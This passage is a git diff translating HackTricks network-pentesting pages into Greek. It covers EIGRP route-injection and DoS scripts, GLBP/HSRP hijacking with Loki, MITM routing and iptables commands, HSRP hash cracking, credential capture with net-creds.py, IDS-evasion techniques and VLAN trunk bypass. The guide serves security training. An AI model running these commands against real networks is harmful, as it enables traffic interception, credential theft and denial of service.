`--dst`: Sets the target subnet IP. - - `--prefix`: Defines the mask of the target subnet IP. +- **Σκοπός**: Να διαταράξει τη ροή της δικτυακής κίνησης εισάγοντας μια ψευδή διαδρομή, οδηγώντας σε μια μαύρη τρύπα όπου η κίνηση κατευθύνεται σε ανύπαρκτο προορισμό. +- **Εργαλείο**: **routeinject.py** script. +- **Εκτέλεση**: +%%%bash +~$ sudo python3 routeinject.py --interface eth0 --as 1 --src 10.10.100.50 --dst 172.16.100.140 --prefix 32 +%%% +- **Παράμετροι**: +- `--interface`: Προσδιορίζει τη διεπαφή του συστήματος του επιτιθέμενου. +- `--as`: Ορίζει τον αριθμό AS EIGRP. +- `--src`: Ορίζει τη διεύθυνση IP του επιτιθέμενου. +- `--dst`: Ορίζει τη διεύθυνση IP του υποδικτύου στόχου. +- `--prefix`: Ορίζει τη μάσκα της διεύθυνσης IP του υποδικτύου στόχου. ## **Abusing K-Values Attack** -- **Objective**: To create continuous disruptions and reconnections within the EIGRP domain by injecting altered K-values, effectively resulting in a DoS attack. -- **Tool**: **relationshipnightmare.py** script. -- **Execution**: - %%%bash - ~$ sudo python3 relationshipnightmare.py --interface eth0 --as 1 --src 10.10.100.100 - %%% -- **Parameters**: - - `--interface`: Specifies the network interface. - - `--as`: Defines the EIGRP AS number. - - `--src`: Sets the IP Address of a legitimate router. +- **Σκοπός**: Να δημιουργήσει συνεχείς διαταραχές και επανασυνδέσεις εντός του τομέα EIGRP εισάγοντας τροποποιημένες K-values, αποτελεσματικά οδηγώντας σε επίθεση DoS. +- **Εργαλείο**: **relationshipnightmare.py** script. +- **Εκτέλεση**: +%%%bash +~$ sudo python3 relationshipnightmare.py --interface eth0 --as 1 --src 10.10.100.100 +%%% +- **Παράμετροι**: +- `--interface`: Προσδιορίζει τη δικτυακή διεπαφή. +- `--as`: Ορίζει τον αριθμό AS EIGRP. +- `--src`: Ορίζει τη διεύθυνση IP ενός νόμιμου δρομολογητή. ## **Routing Table Overflow Attack** -- **Objective**: To strain the router's CPU and RAM by flooding the routing table with numerous false routes. -- **Tool**: **routingtableoverflow.py** script. -- **Execution**: - %%%bash - sudo python3 routingtableoverflow.py --interface eth0 --as 1 --src 10.10.100.50 - %%% -- **Parameters**: - - `--interface`: Specifies the network interface. - - `--as`: Defines the EIGRP AS number. - - `--src`: Sets the attacker’s IP address. +- **Σκοπός**: Να επιβαρύνει τον επεξεργαστή και τη RAM του δρομολογητή πλημμυρίζοντας τον πίνακα δρομολόγησης με πολλές ψευδείς διαδρομές. +- **Εργαλείο**: **routingtableoverflow.py** script. +- **Εκτέλεση**: +%%%bash +sudo python3 routingtableoverflow.py --interface eth0 --as 1 --src 10.10.100.50 +%%% +- **Παράμετροι**: +- `--interface`: Προσδιορίζει τη δικτυακή διεπαφή. +- `--as`: Ορίζει τον αριθμό AS EIGRP. +- `--src`: Ορίζει τη διεύθυνση IP του επιτιθέμενου. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/pentesting-network/glbp-and-hsrp-attacks.md b/src/generic-methodologies-and-resources/pentesting-network/glbp-and-hsrp-attacks.md index 77e1a445e..62f1665f5 100644 --- a/src/generic-methodologies-and-resources/pentesting-network/glbp-and-hsrp-attacks.md +++ b/src/generic-methodologies-and-resources/pentesting-network/glbp-and-hsrp-attacks.md @@ -2,45 +2,42 @@ {{#include ../../banners/hacktricks-training.md}} -
- -{% embed url="https://websec.nl/" %} ## FHRP Hijacking Overview ### Insights into FHRP -FHRP is designed to provide network robustness by merging multiple routers into a single virtual unit, thereby enhancing load distribution and fault tolerance. Cisco Systems introduced prominent protocols in this suite, such as GLBP and HSRP. +Το FHRP έχει σχεδιαστεί για να παρέχει ανθεκτικότητα στο δίκτυο συνδυάζοντας πολλούς δρομολογητές σε μια ενιαία εικονική μονάδα, ενισχύοντας έτσι την κατανομή φορτίου και την αντοχή σε σφάλματα. Η Cisco Systems εισήγαγε σημαντικά πρωτόκολλα σε αυτή τη σουίτα, όπως το GLBP και το HSRP. ### GLBP Protocol Insights -Cisco's creation, GLBP, functions on the TCP/IP stack, utilizing UDP on port 3222 for communication. Routers in a GLBP group exchange "hello" packets at 3-second intervals. If a router fails to send these packets for 10 seconds, it is presumed to be offline. However, these timers are not fixed and can be modified. +Η δημιουργία της Cisco, το GLBP, λειτουργεί στο TCP/IP stack, χρησιμοποιώντας UDP στην πόρτα 3222 για επικοινωνία. Οι δρομολογητές σε μια ομάδα GLBP ανταλλάσσουν πακέτα "hello" σε διαστήματα 3 δευτερολέπτων. Εάν ένας δρομολογητής δεν στείλει αυτά τα πακέτα για 10 δευτερόλεπτα, θεωρείται ότι είναι εκτός λειτουργίας. Ωστόσο, αυτοί οι χρονοδιακόπτες δεν είναι σταθεροί και μπορούν να τροποποιηθούν. ### GLBP Operations and Load Distribution -GLBP stands out by enabling load distribution across routers using a single virtual IP coupled with multiple virtual MAC addresses. In a GLBP group, every router is involved in packet forwarding. Unlike HSRP/VRRP, GLBP offers genuine load balancing through several mechanisms: +Το GLBP ξεχωρίζει επιτρέποντας την κατανομή φορτίου μεταξύ δρομολογητών χρησιμοποιώντας μια ενιαία εικονική IP σε συνδυασμό με πολλαπλές εικονικές MAC διευθύνσεις. Σε μια ομάδα GLBP, κάθε δρομολογητής συμμετέχει στην προώθηση πακέτων. Σε αντίθεση με το HSRP/VRRP, το GLBP προσφέρει πραγματική εξισορρόπηση φορτίου μέσω αρκετών μηχανισμών: -- **Host-Dependent Load Balancing:** Maintains consistent AVF MAC address assignment to a host, essential for stable NAT configurations. -- **Round-Robin Load Balancing:** The default approach, alternating AVF MAC address assignment among requesting hosts. -- **Weighted Round-Robin Load Balancing:** Distributes load based on predefined "Weight" metrics. +- **Host-Dependent Load Balancing:** Διατηρεί συνεπή ανάθεση MAC διευθύνσεων AVF σε έναν κόμβο, απαραίτητο για σταθερές ρυθμίσεις NAT. +- **Round-Robin Load Balancing:** Η προεπιλεγμένη προσέγγιση, εναλλάσσοντας την ανάθεση MAC διευθύνσεων AVF μεταξύ των αιτούντων κόμβων. +- **Weighted Round-Robin Load Balancing:** Κατανέμει το φορτίο με βάση προκαθορισμένα μετρικά "Weight". ### Key Components and Terminologies in GLBP -- **AVG (Active Virtual Gateway):** The main router, responsible for allocating MAC addresses to peer routers. -- **AVF (Active Virtual Forwarder):** A router designated to manage network traffic. -- **GLBP Priority:** A metric that determines the AVG, starting at a default of 100 and ranging between 1 and 255. -- **GLBP Weight:** Reflects the current load on a router, adjustable either manually or through Object Tracking. -- **GLBP Virtual IP Address:** Serves as the network's default gateway for all connected devices. +- **AVG (Active Virtual Gateway):** Ο κύριος δρομολογητής, υπεύθυνος για την κατανομή MAC διευθύνσεων στους ομότιμους δρομολογητές. +- **AVF (Active Virtual Forwarder):** Ένας δρομολογητής που έχει οριστεί να διαχειρίζεται την κυκλοφορία του δικτύου. +- **GLBP Priority:** Ένα μετρικό που καθορίζει το AVG, ξεκινώντας από προεπιλεγμένη τιμή 100 και κυμαινόμενο μεταξύ 1 και 255. +- **GLBP Weight:** Αντικατοπτρίζει το τρέχον φορτίο σε έναν δρομολογητή, ρυθμιζόμενο είτε χειροκίνητα είτε μέσω Object Tracking. +- **GLBP Virtual IP Address:** Λειτουργεί ως η προεπιλεγμένη πύλη του δικτύου για όλες τις συνδεδεμένες συσκευές. -For interactions, GLBP employs the reserved multicast address 224.0.0.102 and UDP port 3222. Routers transmit "hello" packets at 3-second intervals, and are considered non-operational if a packet is missed over a 10-second duration. +Για τις αλληλεπιδράσεις, το GLBP χρησιμοποιεί τη δεσμευμένη διεύθυνση multicast 224.0.0.102 και την πόρτα UDP 3222. Οι δρομολογητές μεταδίδουν πακέτα "hello" σε διαστήματα 3 δευτερολέπτων και θεωρούνται μη λειτουργικοί εάν χαθεί ένα πακέτο για διάρκεια 10 δευτερολέπτων. ### GLBP Attack Mechanism -An attacker can become the primary router by sending a GLBP packet with the highest priority value (255). This can lead to DoS or MITM attacks, allowing traffic interception or redirection. +Ένας επιτιθέμενος μπορεί να γίνει ο κύριος δρομολογητής στέλνοντας ένα πακέτο GLBP με την υψηλότερη τιμή προτεραιότητας (255). Αυτό μπορεί να οδηγήσει σε επιθέσεις DoS ή MITM, επιτρέποντας την παρεμπόδιση ή ανακατεύθυνση της κυκλοφορίας. ### Executing a GLBP Attack with Loki -[Loki](https://github.com/raizo62/loki_on_kali) can perform a GLBP attack by injecting a packet with priority and weight set to 255. Pre-attack steps involve gathering information like the virtual IP address, authentication presence, and router priority values using tools like Wireshark. +[Loki](https://github.com/raizo62/loki_on_kali) μπορεί να εκτελέσει μια επίθεση GLBP εισάγοντας ένα πακέτο με προτεραιότητα και βάρος ρυθμισμένα σε 255. Τα βήματα πριν από την επίθεση περιλαμβάνουν τη συλλογή πληροφοριών όπως η εικονική διεύθυνση IP, η παρουσία αυθεντικοποίησης και οι τιμές προτεραιότητας δρομολογητών χρησιμοποιώντας εργαλεία όπως το Wireshark. Attack Steps: @@ -55,7 +52,6 @@ Attack Steps: By following these steps, the attacker positions themselves as a "man in the middle," capable of intercepting and analyzing network traffic, including unencrypted or sensitive data. For demonstration, here are the required command snippets: - ```bash # Enable promiscuous mode and IP forwarding sudo ip link set eth0 promisc on @@ -69,78 +65,74 @@ sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE sudo route del default sudo route add -net 0.0.0.0 netmask 0.0.0.0 gw 10.10.100.100 ``` +Η παρακολούθηση και η παρεμβολή της κυκλοφορίας μπορεί να γίνει χρησιμοποιώντας το net-creds.py ή παρόμοια εργαλεία για την καταγραφή και ανάλυση των δεδομένων που ρέουν μέσω του παραβιασμένου δικτύου. -Monitoring and intercepting traffic can be done using net-creds.py or similar tools to capture and analyze data flowing through the compromised network. +### Παθητική Εξήγηση της Υφαρπαγής HSRP με Λεπτομέρειες Εντολών -### Passive Explanation of HSRP Hijacking with Command Details +#### Επισκόπηση του HSRP (Hot Standby Router/Redundancy Protocol) -#### Overview of HSRP (Hot Standby Router/Redundancy Protocol) +Το HSRP είναι ένα ιδιόκτητο πρωτόκολλο της Cisco που έχει σχεδιαστεί για την αναγνωσιμότητα πύλης δικτύου. Επιτρέπει τη διαμόρφωση πολλαπλών φυσικών δρομολογητών σε μια ενιαία λογική μονάδα με μια κοινή διεύθυνση IP. Αυτή η λογική μονάδα διαχειρίζεται από έναν κύριο δρομολογητή που είναι υπεύθυνος για τη διεύθυνση της κυκλοφορίας. Σε αντίθεση με το GLBP, το οποίο χρησιμοποιεί μετρικές όπως προτεραιότητα και βάρος για την κατανομή φορτίου, το HSRP βασίζεται σε έναν μόνο ενεργό δρομολογητή για τη διαχείριση της κυκλοφορίας. -HSRP is a Cisco proprietary protocol designed for network gateway redundancy. It allows the configuration of multiple physical routers into a single logical unit with a shared IP address. This logical unit is managed by a primary router responsible for directing traffic. Unlike GLBP, which uses metrics like priority and weight for load balancing, HSRP relies on a single active router for traffic management. +#### Ρόλοι και Ορολογία στο HSRP -#### Roles and Terminology in HSRP +- **HSRP Ενεργός Δρομολογητής**: Η συσκευή που λειτουργεί ως πύλη, διαχειριζόμενη τη ροή της κυκλοφορίας. +- **HSRP Δρομολογητής Αναμονής**: Ένας εφεδρικός δρομολογητής, έτοιμος να αναλάβει αν αποτύχει ο ενεργός δρομολογητής. +- **HSRP Ομάδα**: Ένα σύνολο δρομολογητών που συνεργάζονται για να σχηματίσουν έναν ενιαίο ανθεκτικό εικονικό δρομολογητή. +- **HSRP MAC Διεύθυνση**: Μια εικονική MAC διεύθυνση που ανατίθεται στον λογικό δρομολογητή στην εγκατάσταση HSRP. +- **HSRP Εικονική Διεύθυνση IP**: Η εικονική διεύθυνση IP της ομάδας HSRP, που λειτουργεί ως η προεπιλεγμένη πύλη για τις συνδεδεμένες συσκευές. -- **HSRP Active Router**: The device acting as the gateway, managing traffic flow. -- **HSRP Standby Router**: A backup router, ready to take over if the active router fails. -- **HSRP Group**: A set of routers collaborating to form a single resilient virtual router. -- **HSRP MAC Address**: A virtual MAC address assigned to the logical router in the HSRP setup. -- **HSRP Virtual IP Address**: The virtual IP address of the HSRP group, acting as the default gateway for connected devices. +#### Εκδόσεις HSRP -#### HSRP Versions +Το HSRP έρχεται σε δύο εκδόσεις, HSRPv1 και HSRPv2, που διαφέρουν κυρίως στη χωρητικότητα ομάδας, τη χρήση multicast IP και τη δομή της εικονικής MAC διεύθυνσης. Το πρωτόκολλο χρησιμοποιεί συγκεκριμένες multicast IP διευθύνσεις για την ανταλλαγή πληροφοριών υπηρεσίας, με πακέτα Hello που αποστέλλονται κάθε 3 δευτερόλεπτα. Ένας δρομολογητής θεωρείται ανενεργός αν δεν ληφθεί κανένα πακέτο εντός 10 δευτερολέπτων. -HSRP comes in two versions, HSRPv1 and HSRPv2, differing mainly in group capacity, multicast IP usage, and virtual MAC address structure. The protocol utilizes specific multicast IP addresses for service information exchange, with Hello packets sent every 3 seconds. A router is presumed inactive if no packet is received within a 10-second interval. +#### Μηχανισμός Επίθεσης HSRP -#### HSRP Attack Mechanism +Οι επιθέσεις HSRP περιλαμβάνουν την αναγκαστική ανάληψη του ρόλου του Ενεργού Δρομολογητή με την εισαγωγή μιας μέγιστης τιμής προτεραιότητας. Αυτό μπορεί να οδηγήσει σε επίθεση Man-In-The-Middle (MITM). Ουσιαστικά βήματα πριν από την επίθεση περιλαμβάνουν τη συλλογή δεδομένων σχετικά με την εγκατάσταση HSRP, η οποία μπορεί να γίνει χρησιμοποιώντας το Wireshark για ανάλυση κυκλοφορίας. -HSRP attacks involve forcibly taking over the Active Router's role by injecting a maximum priority value. This can lead to a Man-In-The-Middle (MITM) attack. Essential pre-attack steps include gathering data about the HSRP setup, which can be done using Wireshark for traffic analysis. +#### Βήματα για την Παράκαμψη της Αυθεντικοποίησης HSRP -#### Steps for Bypassing HSRP Authentication +1. Αποθηκεύστε την κυκλοφορία δικτύου που περιέχει δεδομένα HSRP ως αρχείο .pcap. +```shell +tcpdump -w hsrp_traffic.pcap +``` +2. Εξαγάγετε MD5 hashes από το αρχείο .pcap χρησιμοποιώντας το hsrp2john.py. +```shell +python2 hsrp2john.py hsrp_traffic.pcap > hsrp_hashes +``` +3. Σπάστε τα MD5 hashes χρησιμοποιώντας το John the Ripper. +```shell +john --wordlist=mywordlist.txt hsrp_hashes +``` -1. Save the network traffic containing HSRP data as a .pcap file. - ```shell - tcpdump -w hsrp_traffic.pcap - ``` -2. Extract MD5 hashes from the .pcap file using hsrp2john.py. - ```shell - python2 hsrp2john.py hsrp_traffic.pcap > hsrp_hashes - ``` -3. Crack the MD5 hashes using John the Ripper. - ```shell - john --wordlist=mywordlist.txt hsrp_hashes - ``` +**Εκτέλεση Εισαγωγής HSRP με Loki** -**Executing HSRP Injection with Loki** +1. Εκκινήστε το Loki για να εντοπίσετε τις διαφημίσεις HSRP. +2. Ρυθμίστε τη δικτυακή διεπαφή σε λειτουργία promiscuous και ενεργοποιήστε την προώθηση IP. +```shell +sudo ip link set eth0 promisc on +sudo sysctl -w net.ipv4.ip_forward=1 +``` +3. Χρησιμοποιήστε το Loki για να στοχεύσετε τον συγκεκριμένο δρομολογητή, εισάγετε τον σπασμένο κωδικό HSRP και εκτελέστε τις απαραίτητες ρυθμίσεις για να προσποιηθείτε τον Ενεργό Δρομολογητή. +4. Αφού αποκτήσετε τον ρόλο του Ενεργού Δρομολογητή, ρυθμίστε τη δικτυακή σας διεπαφή και τους πίνακες IP για να παρεμβάλετε την νόμιμη κυκλοφορία. +```shell +sudo ifconfig eth0:1 10.10.100.254 netmask 255.255.255.0 +sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE +``` +5. Τροποποιήστε τον πίνακα δρομολόγησης για να δρομολογήσετε την κυκλοφορία μέσω του πρώην Ενεργού Δρομολογητή. +```shell +sudo route del default +sudo route add -net 0.0.0.0 netmask 0.0.0.0 gw 10.10.100.100 +``` +6. Χρησιμοποιήστε το net-creds.py ή ένα παρόμοιο εργαλείο για να καταγράψετε διαπιστευτήρια από την παρεμβαλλόμενη κυκλοφορία. +```shell +sudo python2 net-creds.py -i eth0 +``` -1. Launch Loki to identify HSRP advertisements. -2. Set the network interface to promiscuous mode and enable IP forwarding. - ```shell - sudo ip link set eth0 promisc on - sudo sysctl -w net.ipv4.ip_forward=1 - ``` -3. Use Loki to target the specific router, input the cracked HSRP password, and perform necessary configurations to impersonate the Active Router. -4. After gaining the Active Router role, configure your network interface and IP tables to intercept the legitimate traffic. - ```shell - sudo ifconfig eth0:1 10.10.100.254 netmask 255.255.255.0 - sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE - ``` -5. Modify the routing table to route traffic through the former Active Router. - ```shell - sudo route del default - sudo route add -net 0.0.0.0 netmask 0.0.0.0 gw 10.10.100.100 - ``` -6. Use net-creds.py or a similar utility to capture credentials from the intercepted traffic. - ```shell - sudo python2 net-creds.py -i eth0 - ``` +Η εκτέλεση αυτών των βημάτων τοποθετεί τον επιτιθέμενο σε θέση να παρεμβάλλει και να χειρίζεται την κυκλοφορία, παρόμοια με τη διαδικασία για την υφαρπαγή GLBP. Αυτό αναδεικνύει την ευπάθεια σε πρωτόκολλα αναγνωσιμότητας όπως το HSRP και την ανάγκη για ισχυρά μέτρα ασφαλείας. -Executing these steps places the attacker in a position to intercept and manipulate traffic, similar to the procedure for GLBP hijacking. This highlights the vulnerability in redundancy protocols like HSRP and the need for robust security measures. - -## References +## Αναφορές - [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9) -
- -{% embed url="https://websec.nl/" %} {{#include ../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/pentesting-network/ids-evasion.md b/src/generic-methodologies-and-resources/pentesting-network/ids-evasion.md index fd94988fa..5dc31aa95 100644 --- a/src/generic-methodologies-and-resources/pentesting-network/ids-evasion.md +++ b/src/generic-methodologies-and-resources/pentesting-network/ids-evasion.md @@ -1,57 +1,45 @@ {{#include ../../banners/hacktricks-training.md}} -
- -Deepen your expertise in **Mobile Security** with 8kSec Academy. Master iOS and Android security through our self-paced courses and get certified: - -{% embed url="https://academy.8ksec.io/" %} - # **TTL Manipulation** -Send some packets with a TTL enough to arrive to the IDS/IPS but not enough to arrive to the final system. And then, send another packets with the same sequences as the other ones so the IPS/IDS will think that they are repetitions and won't check them, but indeed they are carrying the malicious content. +Στείλτε κάποια πακέτα με TTL αρκετό για να φτάσουν στο IDS/IPS αλλά όχι αρκετό για να φτάσουν στο τελικό σύστημα. Και μετά, στείλτε άλλα πακέτα με τις ίδιες ακολουθίες όπως τα προηγούμενα, έτσι ώστε το IPS/IDS να νομίζει ότι είναι επαναλήψεις και να μην τα ελέγξει, αλλά στην πραγματικότητα μεταφέρουν το κακόβουλο περιεχόμενο. **Nmap option:** `--ttlvalue ` # Avoiding signatures -Just add garbage data to the packets so the IPS/IDS signature is avoided. +Απλά προσθέστε άχρηστα δεδομένα στα πακέτα ώστε να αποφευχθεί η υπογραφή του IPS/IDS. **Nmap option:** `--data-length 25` # **Fragmented Packets** -Just fragment the packets and send them. If the IDS/IPS doesn't have the ability to reassemble them, they will arrive to the final host. +Απλά σπάστε τα πακέτα και στείλτε τα. Αν το IDS/IPS δεν έχει τη δυνατότητα να τα επανασυναρμολογήσει, θα φτάσουν στον τελικό υπολογιστή. **Nmap option:** `-f` # **Invalid** _**checksum**_ -Sensors usually don't calculate checksum for performance reasons. So an attacker can send a packet that will be **interpreted by the sensor but rejected by the final host.** Example: +Οι αισθητήρες συνήθως δεν υπολογίζουν το checksum για λόγους απόδοσης. Έτσι, ένας επιτιθέμενος μπορεί να στείλει ένα πακέτο που θα **ερμηνευθεί από τον αισθητήρα αλλά θα απορριφθεί από τον τελικό υπολογιστή.** Παράδειγμα: -Send a packet with the flag RST and a invalid checksum, so then, the IPS/IDS may thing that this packet is going to close the connection, but the final host will discard the packet as the checksum is invalid. +Στείλτε ένα πακέτο με τη σημαία RST και ένα άκυρο checksum, έτσι ώστε το IPS/IDS να νομίζει ότι αυτό το πακέτο θα κλείσει τη σύνδεση, αλλά ο τελικός υπολογιστής θα απορρίψει το πακέτο καθώς το checksum είναι άκυρο. # **Uncommon IP and TCP options** -A sensor might disregard packets with certain flags and options set within IP and TCP headers, whereas the destination host accepts the packet upon receipt. +Ένας αισθητήρας μπορεί να αγνοήσει πακέτα με ορισμένες σημαίες και επιλογές που έχουν οριστεί στα IP και TCP headers, ενώ ο προορισμός υπολογιστής αποδέχεται το πακέτο κατά την παραλαβή. # **Overlapping** -It is possible that when you fragment a packet, some kind of overlapping exists between packets (maybe first 8 bytes of packet 2 overlaps with last 8 bytes of packet 1, and 8 last bytes of packet 2 overlaps with first 8 bytes of packet 3). Then, if the IDS/IPS reassembles them in a different way than the final host, a different packet will be interpreted.\ -Or maybe, 2 packets with the same offset comes and the host has to decide which one it takes. +Είναι πιθανό όταν σπάτε ένα πακέτο, να υπάρχει κάποια μορφή επικαλυπτόμενης περιοχής μεταξύ των πακέτων (ίσως τα πρώτα 8 bytes του πακέτου 2 να επικαλύπτονται με τα τελευταία 8 bytes του πακέτου 1, και τα 8 τελευταία bytes του πακέτου 2 να επικαλύπτονται με τα πρώτα 8 bytes του πακέτου 3). Έτσι, αν το IDS/IPS τα επανασυναρμολογήσει με διαφορετικό τρόπο από τον τελικό υπολογιστή, ένα διαφορετικό πακέτο θα ερμηνευθεί.\ +Ή ίσως, 2 πακέτα με την ίδια μετατόπιση έρχονται και ο υπολογιστής πρέπει να αποφασίσει ποιο θα κρατήσει. -- **BSD**: It has preference for packets with smaller _offset_. For packets with same offset, it will choose the first one. -- **Linux**: Like BSD, but it prefers the last packet with the same offset. -- **First** (Windows): First value that comes, value that stays. -- **Last** (cisco): Last value that comes, value that stays. +- **BSD**: Έχει προτίμηση για πακέτα με μικρότερη _offset_. Για πακέτα με την ίδια μετατόπιση, θα επιλέξει το πρώτο. +- **Linux**: Όπως το BSD, αλλά προτιμά το τελευταίο πακέτο με την ίδια μετατόπιση. +- **First** (Windows): Πρώτη τιμή που έρχεται, τιμή που μένει. +- **Last** (cisco): Τελευταία τιμή που έρχεται, τιμή που μένει. # Tools - [https://github.com/vecna/sniffjoke](https://github.com/vecna/sniffjoke) -
- -Deepen your expertise in **Mobile Security** with 8kSec Academy. Master iOS and Android security through our self-paced courses and get certified: - -{% embed url="https://academy.8ksec.io/" %} - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/pentesting-network/lateral-vlan-segmentation-bypass.md b/src/generic-methodologies-and-resources/pentesting-network/lateral-vlan-segmentation-bypass.md index eaf5835eb..4639c0ecb 100644 --- a/src/generic-methodologies-and-resources/pentesting-network/lateral-vlan-segmentation-bypass.md +++ b/src/generic-methodologies-and-resources/pentesting-network/lateral-vlan-segmentation-bypass.md @@ -2,34 +2,27 @@ {{#include ../../banners/hacktricks-training.md}} -If direct access to a switch is available, VLAN segmentation can be bypassed. This involves reconfiguring the connected port to trunk mode, establishing virtual interfaces for target VLANs, and setting IP addresses, either dynamically (DHCP) or statically, depending on the scenario (**for further details check [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)).** +Εάν είναι διαθέσιμη άμεση πρόσβαση σε έναν διακόπτη, η κατανομή VLAN μπορεί να παρακαμφθεί. Αυτό περιλαμβάνει την επαναδιαμόρφωση της συνδεδεμένης θύρας σε λειτουργία trunk, τη δημιουργία εικονικών διεπαφών για τις στοχευμένες VLAN και την ρύθμιση διευθύνσεων IP, είτε δυναμικά (DHCP) είτε στατικά, ανάλογα με το σενάριο (**για περισσότερες λεπτομέρειες δείτε [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)).** -Initially, identification of the specific connected port is required. This can typically be accomplished through CDP messages, or by searching for the port via the **include** mask. - -**If CDP is not operational, port identification can be attempted by searching for the MAC address**: +Αρχικά, απαιτείται η αναγνώριση της συγκεκριμένης συνδεδεμένης θύρας. Αυτό μπορεί συνήθως να επιτευχθεί μέσω μηνυμάτων CDP ή αναζητώντας τη θύρα μέσω της μάσκας **include**. +**Εάν το CDP δεν λειτουργεί, η αναγνώριση της θύρας μπορεί να επιχειρηθεί αναζητώντας τη διεύθυνση MAC**: ``` SW1(config)# show mac address-table | include 0050.0000.0500 ``` - -Prior to switching to trunk mode, a list of existing VLANs should be compiled, and their identifiers determined. These identifiers are then assigned to the interface, enabling access to various VLANs through the trunk. The port in use, for instance, is associated with VLAN 10. - +Πριν από την αλλαγή σε λειτουργία trunk, θα πρέπει να συγκεντρωθεί μια λίστα με τις υπάρχουσες VLAN και να προσδιοριστούν οι ταυτοί τους. Αυτές οι ταυτοί στη συνέχεια ανατίθενται στη διεπαφή, επιτρέποντας την πρόσβαση σε διάφορες VLAN μέσω του trunk. Η θύρα που χρησιμοποιείται, για παράδειγμα, σχετίζεται με την VLAN 10. ``` SW1# show vlan brief ``` - -**Transitioning to trunk mode entails entering interface configuration mode**: - +**Η μετάβαση σε λειτουργία trunk περιλαμβάνει την είσοδο στη λειτουργία διαμόρφωσης διεπαφής**: ``` SW1(config)# interface GigabitEthernet 0/2 SW1(config-if)# switchport trunk encapsulation dot1q SW1(config-if)# switchport mode trunk ``` +Η αλλαγή σε λειτουργία trunk θα διαταράξει προσωρινά τη συνδεσιμότητα, αλλά αυτή μπορεί να αποκατασταθεί στη συνέχεια. -Switching to trunk mode will temporarily disrupt connectivity, but this can be restored subsequently. - -Virtual interfaces are then created, assigned VLAN IDs, and activated: - +Στη συνέχεια δημιουργούνται εικονικές διεπαφές, ανατίθενται VLAN IDs και ενεργοποιούνται: ```bash sudo vconfig add eth0 10 sudo vconfig add eth0 20 @@ -40,27 +33,22 @@ sudo ifconfig eth0.20 up sudo ifconfig eth0.50 up sudo ifconfig eth0.60 up ``` - -Subsequently, an address request is made via DHCP. Alternatively, in cases where DHCP is not viable, addresses can be manually configured: - +Στη συνέχεια, γίνεται ένα αίτημα διεύθυνσης μέσω DHCP. Εναλλακτικά, σε περιπτώσεις όπου το DHCP δεν είναι εφικτό, οι διευθύνσεις μπορούν να ρυθμιστούν χειροκίνητα: ```bash sudo dhclient -v eth0.10 sudo dhclient -v eth0.20 sudo dhclient -v eth0.50 sudo dhclient -v eth0.60 ``` - -Example for manually setting a static IP address on an interface (VLAN 10): - +Παράδειγμα για την χειροκίνητη ρύθμιση μιας στατικής διεύθυνσης IP σε μια διεπαφή (VLAN 10): ```bash sudo ifconfig eth0.10 10.10.10.66 netmask 255.255.255.0 ``` +Η συνδεσιμότητα ελέγχεται με την εκκίνηση ICMP αιτημάτων προς τις προεπιλεγμένες πύλες για τα VLAN 10, 20, 50 και 60. -Connectivity is tested by initiating ICMP requests to the default gateways for VLANs 10, 20, 50, and 60. +Τελικά, αυτή η διαδικασία επιτρέπει την παράκαμψη της κατανομής VLAN, διευκολύνοντας έτσι την απεριόριστη πρόσβαση σε οποιοδήποτε δίκτυο VLAN και προετοιμάζοντας το έδαφος για επόμενες ενέργειες. -Ultimately, this process enables bypassing of VLAN segmentation, thereby facilitating unrestricted access to any VLAN network, and setting the stage for subsequent actions. - -## References +## Αναφορές - [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9) diff --git a/src/generic-methodologies-and-resources/pentesting-network/network-protocols-explained-esp.md b/src/generic-methodologies-and-resources/pentesting-network/network-protocols-explained-esp.md index 72dfbfb12..8429e60fc 100644 --- a/src/generic-methodologies-and-resources/pentesting-network/network-protocols-explained-esp.md +++ b/src/generic-methodologies-and-resources/pentesting-network/network-protocols-explained-esp.md @@ -2,54 +2,54 @@ ## Multicast DNS (mDNS) -The **mDNS** protocol is designed for IP address resolution within small, local networks without a dedicated name server. It operates by multicasting a query within the subnet, prompting the host with the specified name to respond with its IP address. All devices in the subnet can then update their mDNS caches with this information. +Το πρωτόκολλο **mDNS** έχει σχεδιαστεί για την επίλυση διευθύνσεων IP εντός μικρών, τοπικών δικτύων χωρίς έναν αφιερωμένο διακομιστή ονομάτων. Λειτουργεί με την εκπομπή ενός ερωτήματος εντός του υποδικτύου, προτρέποντας τον υπολογιστή με το καθορισμένο όνομα να απαντήσει με τη διεύθυνση IP του. Όλες οι συσκευές στο υποδίκτυο μπορούν στη συνέχεια να ενημερώσουν τις μνήμες mDNS με αυτές τις πληροφορίες. -Key points to note: +Βασικά σημεία που πρέπει να σημειωθούν: -- **Domain Name Relinquishment**: A host can release its domain name by sending a packet with a TTL of zero. -- **Usage Restriction**: mDNS typically resolves names ending in **.local** only. Conflicts with non-mDNS hosts in this domain require network configuration adjustments. -- **Networking Details**: - - Ethernet multicast MAC addresses: IPv4 - `01:00:5E:00:00:FB`, IPv6 - `33:33:00:00:00:FB`. - - IP addresses: IPv4 - `224.0.0.251`, IPv6 - `ff02::fb`. - - Operates over UDP port 5353. - - mDNS queries are confined to the local network and do not cross routers. +- **Απαλλαγή από το Όνομα Τομέα**: Ένας υπολογιστής μπορεί να απελευθερώσει το όνομα τομέα του στέλνοντας ένα πακέτο με TTL μηδέν. +- **Περιορισμός Χρήσης**: Το mDNS συνήθως επιλύει ονόματα που τελειώνουν σε **.local** μόνο. Οι συγκρούσεις με μη mDNS υπολογιστές σε αυτόν τον 